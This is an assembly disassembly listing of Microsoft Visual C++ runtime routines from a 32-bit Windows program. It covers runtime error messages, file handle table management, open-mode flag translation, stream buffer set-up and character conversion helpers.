		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43D00C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D00C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 2610B09h
		nop
		push	eax
		nop
		call	near ptr 26E0000h


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DCC80


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DCD80
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DCD80, 20h
		lea	ecx, ds:4DCC80h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCD80
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCC80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A974, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 2610000h


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DCD80
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DCC80h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A974, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		call	near ptr 2610000h
		nop


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCD80
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCC80[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCD80
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DCC80[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 26008B4h
		test	eax, eax
		jnz	short loc_42391D
		nop
		call	near ptr 2670E94h
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB92C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB928, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DCC60
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DCC60, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC48, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DCC60, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC48, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43D098


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DBC48
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D318
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43D0A8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DCC80[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D108
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB968, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBB10
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DBC20, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB928, 16h
		mov	dword_4DB92C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB930
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB92C, 0
		mov	dword_4DB928, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0864h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 26102C7h
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 2650937h


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 2670E94h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DCC80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB92C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBB18
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		call	near ptr 25F005Bh
		nop
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB4DC
		push	esi
		push	ebx
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DBB18, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB9E4


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2600000h
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB9F4
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2820000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2820000h
		nop
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 25F005Bh
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCD80
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCC80[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB9E4, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43CBB4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB9F4
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB928, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB9E4, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C9A8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43CBB4
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB9F4
		nop
		call	near ptr 2820000h
		test	eax, eax
		mov	eax, dword_43CBB4
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB928, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB9F4
		nop
		call	near ptr 2820000h
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
